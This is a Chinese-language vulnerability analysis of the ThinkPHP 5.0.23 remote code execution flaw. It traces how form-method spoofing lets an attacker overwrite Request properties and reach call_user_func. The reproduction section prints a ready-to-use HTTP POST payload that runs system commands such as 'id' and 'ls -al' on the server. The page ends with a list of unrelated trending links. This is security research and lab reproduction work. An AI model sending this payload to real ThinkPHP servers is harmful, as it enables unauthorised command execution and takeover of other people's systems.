ThinkPHP 5.0 * 远程代码执行漏洞分析

from：未知

### 0x01 前言
本文主要以官网下载的5.0.23 完整版(thinkphp_5.0.23_with_extend.zip)为例分析。

### 0x02 漏洞分析（一）
Thinkphp处理请求的关键类为Request(thinkphp/library/think/Request.php)
该类可以实现对HTTP请求的一些设置，其中成员函数method用来获取当前请求类型，其定义如下：
![](http://0day5.com/usr/uploads/2019/01/4034990473.png)
该函数主要在其他成员函数（例如isGet、isPost、isPut等）中被用来做请求类型判断
![](http://0day5.com/usr/uploads/2019/01/1688937595.png)
thinkphp支持配置“表单伪装变量”，默认情况下该变量值为_method
![](http://0day5.com/usr/uploads/2019/01/3784956648.png)
因此在method()中，可以通过“表单伪装变量”进行变量覆盖实现对该类任意函数的调用，并且$_POST作为函数的参数传入
![](http://0day5.com/usr/uploads/2019/01/4281689993.png)
Request类的构造函数定义如下：
![](http://0day5.com/usr/uploads/2019/01/2428944147.png)
构造函数中，主要对$option数组进行遍历，当$option的键名为该类属性时，则将该类同名的属性赋值为$options中该键的对应值，因此可以构造请求如下，来实现对Request类属性值的覆盖，例如覆盖filter属性。filter属性保存了用于全局过滤的函数，因此在thinkphp 5.0.10 中可以通过构造如下请求实现代码执行：
![](http://0day5.com/usr/uploads/2019/01/3867272007.png)
### 0x03 漏洞分析（二）
在官网最新下载的5.0.23完整版中，在App类（thinkphp/library/think/App.php）中module方法增加了设置filter参数值的代码，用于初始化filter。因此通过上述请求设置的filter参数值会被重新覆盖为空导致无法利用：
![](http://0day5.com/usr/uploads/2019/01/2960135007.png)
在5.0.23的Request类中，存在param成员函数用于获取当前请求的参数。其中也有调用method()函数，并且传入参数值为true。param函数代码实现如下：
![](http://0day5.com/usr/uploads/2019/01/848846427.png)
当传入的$method === true时 会执行如下代码：
![](http://0day5.com/usr/uploads/2019/01/757356100.png)
其中server()实现如下：
![](http://0day5.com/usr/uploads/2019/01/399332509.png)
由此可见，参数$name为REQUEST_METHOD，最终会调用input函数。input函数实现如下。最终会执行到$filter = $this->getFilter($filter,$default); 来解析过滤器。
![](http://0day5.com/usr/uploads/2019/01/1980865833.png)
此时$filter 为‘’，$default为null，继续跟进查看getFilter函数的实现：
![](http://0day5.com/usr/uploads/2019/01/3091674210.png)
由于$filter = ‘‘，因此可以执行到红线处，并且最终$filter会被赋值进$this->filter ，和$default 即 null。因此经过“解析过滤器”的过程，$filter最终可被添加来自请求中的filter。之后，代码判断了$data是否为数组，最终将每个值作为参数，通过filterValue()函数进行过滤。而$data即为server()函数中传入的$this->server ,因此也可通过在调用构造函数时，实现对$this->server值的覆盖。

filterValue函数实现如下：
![](http://0day5.com/usr/uploads/2019/01/2367113457.png)
最终会通过call_user_func来实现代码执行。此处原理同刚刚爆出的THINKPHP 5 通过控制controller值实现反射调用指定类来远程代码执行漏洞原理一致，不再过多分析。

因此只需要找到自动触发调用param()函数的地方即可。

其中在App类中的run()函数中，如果开启了debug模式，会实现日志的记录，其中有调用$request->param()。
![](http://0day5.com/usr/uploads/2019/01/360258010.png)
因此在debug模式下，发送如下请求可实现代码执行:
![](http://0day5.com/usr/uploads/2019/01/2796709718.png)
例如touch /tmp/xxxx
![](http://0day5.com/usr/uploads/2019/01/1271267704.png)
### 0x04 漏洞分析（三）
继续分析，可以看到“记录路由和请求信息”之前，还实现了“未设置调度信息则进行URL路由检测。”其中通过routeCheck函数来设置$dispatch。最终再通过exec函数，将$request和$config 作为参数传入后执行。其中$config 是通过initCommon函数调用init函数来加载config配置文件来实现赋值。$request即为Request::instance()。
![](http://0day5.com/usr/uploads/2019/01/2936923432.png)
其中routeCheck函数实现如下：
![](http://0day5.com/usr/uploads/2019/01/3030278754.png)
首先会通过加载config文件导入“路由配置”。默认配置如下：
![](http://0day5.com/usr/uploads/2019/01/216142084.png)
然后通过Route类的import方法加载路由。由于在入口文件index.php(public/index.php)中加载了start.php(thinkphp/start.php)
![](http://0day5.com/usr/uploads/2019/01/1580717919.png)
start.php又加载了base.php(thinkphp/base.php)
![](http://0day5.com/usr/uploads/2019/01/2714367235.png)
base.php中实现了注册自动加载
![](http://0day5.com/usr/uploads/2019/01/3886330716.png)
register函数实现如下：
![](http://0day5.com/usr/uploads/2019/01/389607188.png)
该函数完成了对VENDOR下class的加载。其中完成了验证码类路由的加载：
![](http://0day5.com/usr/uploads/2019/01/2963413674.png)
因此上面import之后，Route类$rules值将形如下：
![](http://0day5.com/usr/uploads/2019/01/1628889428.png)
然后代码会执行到“路由检测”的部分即调用Route::check的地方，路由检测主要用于根据路由的定义返回不同的URL调度。Route类check函数实现如下：
![](http://0day5.com/usr/uploads/2019/01/3037843654.png)
可以看到该check函数中调用了Request类的method方法。并将函数执行结果转换为小写后保存在$method变量。由于Request类中method函数在返回method时直接判断了如果存在$this->method直接返回：
![](http://0day5.com/usr/uploads/2019/01/2021913107.png)
因此我们在调用构造函数覆盖变量时，可以直接覆盖method，这样上面的$method = strtolower($request->method()); 的$method最终的值就可以被控制了。

回到check函数，在设置完$method 后，会根据$method在self::$rules中获取对应$method的路由信息，并将结果赋值给$rules.
![](http://0day5.com/usr/uploads/2019/01/2274234512.png)
最终函数的return将依赖$rules ，因此$method不同返回也不同。当$method 为get 时，$rules 将为如下：
![](http://0day5.com/usr/uploads/2019/01/3828013325.png)
由于$item = str_replace('|', '/', $url);   而 $url = str_replace($depr, '|', $url),而这个$url最初为该函数的参数，在App类routeCheck方法中调用
![](http://0day5.com/usr/uploads/2019/01/2572692322.png)
而这个$path = $request->path(),Request类的path方法实现如下:
![](http://0day5.com/usr/uploads/2019/01/1771983357.png)
当is_null($this->path)时，通过pathinfo()函数来获取
![](http://0day5.com/usr/uploads/2019/01/2376013867.png)
其中var_pathino 默认值为s
![](http://0day5.com/usr/uploads/2019/01/3062967547.png)
因此综上，我们可以通过URL中s参数来设置App类routeCheck函数中的$path ，即Router类check函数中的$url ,最终即能控制 Router类check函数中的$item 从而控制check函数真正return哪种结果,从而最终影响App类run方法的$dispath值即调度信息。

由于$dispatch 会作为参数在exec中调用
![](http://0day5.com/usr/uploads/2019/01/4171496615.png)
其中exec的实现如下：
![](http://0day5.com/usr/uploads/2019/01/1929866034.png)
exec会根据$dispatch[‘type’]来决定实际执行的代码。
前面分析可知，我们需要触发Request类中param函数的调用来完成对filter的覆盖。此处显而易见的是，当$dispatch[‘type’]为controller 和method时有直接的调用。当然其他的类型，例如当$dispatch[‘type’]为function，调用了invokeFunction，而invokeFunction调用了bindParams函数，bindParams函数里存在对param函数的调用。总之，我们需要控制请求url中s的值完成设置不同的$method，最终让routeCheck返回我们需要的$dispath即可。

例如我们控制url为 /public/index.php?s=captcha，同时post body为_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al则check函数最终会进入
![](http://0day5.com/usr/uploads/2019/01/2707655979.png)
然后checkRoute函数，由于rule为字符串，
![](http://0day5.com/usr/uploads/2019/01/1079723966.png)
因此最终会进入
![](http://0day5.com/usr/uploads/2019/01/1436051531.png)
然后会进入 parseRule
![](http://0day5.com/usr/uploads/2019/01/1090069794.png)
然后会进入
![](http://0day5.com/usr/uploads/2019/01/1112623100.png)
最后返回$result. 因此最终$dispatch值为：
![](http://0day5.com/usr/uploads/2019/01/3887238429.png)
因而在传入exec函数后，触发Request类的param方法，最终覆盖Request类的server变量，接着通过Request类的input方法，实现任意代码执行:
![](http://0day5.com/usr/uploads/2019/01/3272051222.png)
### 0x05 本地复现
环境获取：
https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce
测试payload：
```html
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.228.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Connection: keep-alive
Upgrade-Insecure-Requests: 1

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```
成功执行命令id：
![](http://0day5.com/usr/uploads/2019/01/171421164.png)

ThinkPHP 5.0 * 远程代码执行漏洞分析

Trending Articles

[奇怪机翻组] 双梦相牵 / ふたりの夢もち [RJ01259078] [WebRip] [1080P HEVC-10Bit AAC 2.0]...

HONDA CITY VTI-S 菜單分享

#新闻拍一拍# 新的摩尔定律：黄氏定律

一如既往的痴情能否打动月瓶金蝎？ (豆瓣月亮水瓶小组)

求購按摩椅~'~

「粉红」不是霸凌辜莞允杠部落客：我爽在哪？

Intel 7-10代集成显卡驱动31.0.101.2137完整版

涉Gotbit加密货币市场操纵台男纽约被捕

臺灣法治會計學會2025年第三季研討會

不靠姊姊！張柏芝弟弟開計程車維生

关门一家亲：习远平、张澜澜、徐才厚

剑指offer——24.二叉树中和为某一值的路径

苏珊米勒日晕05.11｜狮子鼓励孩子；处女相信自己 (豆瓣 SUSAN MILLER小组)

【台積電IT卓越新戰略5】台積IT組織5年三次大調整，要靠平臺工程讓DevOps創新再加速

【日语无字】春之钟.Haru.no.kane.1985.JAP.vhsrip.NoSub.by.xiongzaixia&vivi

美籍老公不讓步李愛綺兒子念公立小學

新华网这张照片绝了!直讽江泽民宋祖英淫乱组图

湖州师范学院音乐学院开发的 Kontakt 8 明代魏氏乐琵琶/瑟/月琴音源即将发布

Google Chrome Portable 140.0.7339.186 穩定版免安裝中文版 - Google 瀏覽器

免费翻墙节点大全